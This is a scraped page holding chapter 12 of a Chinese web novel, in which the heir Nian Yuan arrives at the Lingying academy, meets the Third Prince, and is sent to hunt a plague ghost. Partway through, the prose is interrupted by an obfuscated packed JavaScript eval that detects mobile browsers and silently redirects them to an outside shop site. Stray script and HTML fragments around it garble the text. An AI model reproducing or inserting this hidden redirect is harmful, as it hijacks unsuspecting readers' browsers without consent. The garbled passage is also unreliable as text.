文趣网 > 其他小说 > 恶劣美人他只想做反派 > 12. 第十二章
    是年沅来带他走了。

    楚池跪着仰头看进来的年沅。他半披着乌发,正垂眼看楚池,笑吟吟的桃花眼见楚池愣在原地,还有些不耐的扯了扯链子,让楚池跟着他走。

    “你要带我走?”

    楚池起身,跟着走了两步才晃过神来。

    年沅仰头睨了眼楚池,像是嫌他蠢笨,居然问出答案这么明显的问题。

    “可名单上没有我。”

    楚池又问道。

    他偷看了好几遍,的确没有他的名字。

    “那是侍从的单子,你是我养的狗,你自然不在那上面。”年沅不客气的答道。

    ——那就说明他是个例外了。

    楚池深深看了年沅一眼。再听年沅说自己是他养的狗时,他早已经气不起来了。

    侍从奴人养了一院子,但做狗的却只有他一只。连清点随从这种大事自己也成了唯一的例外。

    年沅觉得楚池的心情好得莫名其妙。

    不过入学迫在眼前,年沅也没心思逗楚池玩。沈七点齐了东西后,年沅便到了年承远那儿饯别。

    经过了那日风波后,父子俩的关系多了点说不清道不明的僵硬,但这顿饭年沅吃的还是很开心的,既恶心了强撑来吃饯别宴的罗欣兰,又在临走时再刺激了一把年启尧。

    把王府又折腾得翻天覆地后,年沅心满意足的乘上了灵舟。

    灵舟的样式很像宅邸,只不过下半部分是由船舱组成的,上边则是供年沅休息的厢房寝室。

    灵应阁说远不远,说近不近,还是要两个时辰才能到。

    年沅百无聊赖的便翻起了内阁的课程。

    大应朝尚武,内阁里学的也多数是灵术,礼教论道则是少部分。譬如几日后的入学日,早晨的第一堂课便是炼术鬼。

    炼术鬼的直讲是出了名的严苛,大皇子选在他的课上给年沅一个下马威也算是处心积虑。

    年沅合上书,阖眼小憩。耳边的窗棱扑棱着响,是上空袭来的冷风吹打的动静。等那风声息下后,年沅才睁开眼,耳旁响起沈七的提醒:

    “殿下,我们到了。”

    灵应阁悬在高空,黑色的土地上附着一层薄薄的乳白色雾气。

    普通的世家子弟是住在山脚一座座成圆形的宅邸中,而身份更尊贵的皇亲国戚则是住在山腰处的平地小宅,年沅挑选的宅子比起怜月阁来说自然是小了不少,但胜在五脏俱全,距离最近的宗亲宅邸也有一段不远的距离,清净怡然。

    宅门高大,一只狰狞的应龙辅首衔着铜环,年沅垂眼扫过,便只手推开门。

    从院里的矮脚墙头向远处望,灵山后头的苍木林藏在云雾中央,正是灵应阁的训练场。

    沈七打点好侍从将物件都安置好后,又忧心忡忡的问道:

    “可是殿下……那大皇子那儿该怎么办?殿下您身子骨又不好,哪儿受得了这折腾。”

    沈七的忧愁来得不是没有道理,大皇子不可能会就为难年沅一次便收手,更多的恶意还在后头,不论年沅这一次想出什么样的应对方式都是饮鸠止渴。

    年沅自然也明白这点。

    他此时正趴在院子里的美人靠上用指头搅弄缸中的水,小鱼儿因为他搅起的波澜而惊动游走。听了沈七的话,年沅抬起眼,见沈七一副愁得难咽下饭的模样,不免笑道:

    “顺水推舟。”

    大皇子想要为难他的确是件坏事,但也未必不是件好事。

    如今朝中各派势力波云诡谲,大皇子一派虽然如日中天,但并不代表其余皇子没有拥趸。年沅被大皇子排挤的消息更像是一张投名状,一张登上其余两艘大船的投名状。

    沈七听完这四字犹如没听,但又觉得殿下说的很有道理,只好恍恍惚惚的点了点头,心往放下了点。

    *

    这些年岁年沅都在病榻上度过,两耳不闻窗外事,沈七便替他打听来了许多朝中各派的讯息,年沅有一搭没一搭的听着,几日匆匆,转瞬便到了入学日。

    年沅照着大皇子给他的课表,等到了日上三竿才慢悠悠的走到勤学殿。

    灵山之上的烈阳如火,圆日高悬在巨大的玉色牌匾之后,年沅下意识的遮了遮眼,面前数以百计的玉阶上空荡无人,阶梯尽头高高立着一扇朱门,应龙狰狞的脸悬在门上,似乎瞧见了走来的年沅,它青铜眼向下一扫,动了动。

    远远的,年沅便看见朱门前还站着几人。

    为首的一人身穿石青蟒袍,头发高束起,面色极差。他的两侧各跪了两个小太监,正高举着书籍,战战兢兢的低着脑袋。

    沈七附耳低声道:“是三皇子殿下。今早上大皇子擅自抢了他的白马,三皇子应该是迟来了学堂,被罚在外头了。”

    大应对于皇家子弟的教育极为严苛,灵应阁里的直讲都是有功勋在身的将领,又手握陛下给的实权,对于皇子也是照罚不误。

    三皇子也察觉到从远处来打量。等年沅走近了,他才转过身上下打量年沅。他的目光在年沅袖口暗花绫缎上停了一会儿,这才抬眼傲慢的问道:

    “年沅?”

    三皇子的母妃是颇受圣宠的陈贵妃,三皇子裴修云也被陈贵妃养得性子暴躁直率。

    年沅垂眼应下。

    世子的服饰是有讲究的,而如今京中最负盛名的世子莫过于年沅,三皇子一眼就猜出眼前人是谁倒也不算奇怪。

    而今京中沸沸扬扬传着大皇子派了一队人马‘赏’了世子。裴修云自然也听到了传言,他因为今早的事情,心中对大皇子裴煜城还有怨恨,如今见了年沅,不免带着情绪。

    裴修云盯着年沅的脸,冷笑一声:

    “前几日你可是拿了大皇子的赏赐?”

    他的口气并不好,年沅知道,这是裴修云在试探他。

    见裴修云率先提起这茬,年沅也就顺着他的话,面上做出为难的样子,余光扫了眼紧闭的朱门,犹豫再三道:</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17878091|212420||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    “是……大皇子殿下体恤,给予我一本课表。”

    裴修云一愣,随即下意识看了眼紧闭的朱门,反应过后嗤笑出声:“课表?那皇兄还真是好心眼呐。”

    裴修云也不是傻子,也联想到前几日闹得沸沸扬扬的内阁选学的纠纷,也就瞧出是大皇子要针对年沅。

    他早就听闻这位久病的世子一举赢下了他的天才弟弟,还有人传言年沅甚至胜过宁王当年的天赋,宁王这是后继有人了。

    裴修云对这传闻半信半疑。

    据他所知,祖灵投签也是能通过改变阵法来左右结果。他自小在宫中长大,什么手段没见过?保不齐这年沅也是通过同样手法蒙蔽了祖灵。

    不过,是骡子是马拉出来遛遛就都知道了。

    正对话的功夫,先前紧闭的朱门蓦地‘轰隆隆’挪开,身披青袍的郑直讲跨过门槛,沧桑刚毅的脸板着,目光如炬,扫过二人。

    “年沅。”郑直讲的视线停在年沅身上:“你第一天就迟来了。”

    这位郑直讲是从北薄洲的鬼岭渊里杀出来的将领,崇尚军风森严,世家子弟更要以身作则,所以对迟到等事宜向来是从不手软。

    年沅不着痕迹的打量着眼前人。

    朱门之后便是勤学殿的高堂,屋梁立柱几丈高,宽广的殿内排布着今早入学的几十位子弟,如今门一开,不免有人悄悄把视线落向门前受罚的二人身上。

    大皇子裴煜城高坐最前的位置,听见响动,侧头,余光看见年沅侍立在外,便又矜傲的收回眼。

    郑直讲果然是一点儿也不心慈手软。

    “你们二人今早不用再上接下来的课,前去捉拿后山的疫鬼吧。”

    此言一出,裴修云的面色瞬间白了。

    疫鬼是恶鬼渊中数一数二凶残的恶鬼,手段残暴不说,全身上下的疫病更是凡人一碰即死。他们这些皇室宗亲虽说要学灵术,将来也是要学着太祖的模样在外征战,可皇子终究是皇子,自小锦衣玉食的养大,哪里受过这些苦?

    裴修云在灵应阁里学习了这么些年,也从未真与疫鬼对战过。

    但既然郑直讲发话要让他们去捉拿如此凶险的疫鬼,必然是受了陛下的意思,裴修云要是敢发作,届时他的好皇兄再往上参一本,裴修云定要吃不了兜着走。

    郑直讲的话音洪亮,不论是在外的三皇子与年沅,还是殿内众位学子都听得一清二楚。

    三皇子也就罢了,好歹也是自小学习灵术的皇子。但年沅呢?就算是有极高的天赋,没有征战的功底又常年卧榻,恐怕是碰了疫鬼就要去半条命。

    更何况,就连这天赋是不是真,如今还尚未有定论呢。

    殿中众人心思各异,不少人还是带着看好戏的表情看着站在殿外的年沅。

    郑直讲话音落下没多久,不远处忽地传来阵阵如雷鸣般整齐划一的步行声,晨间的雾霭被嶙嶙金甲破开一道口子,正是一队应天卫朝着殿门行来。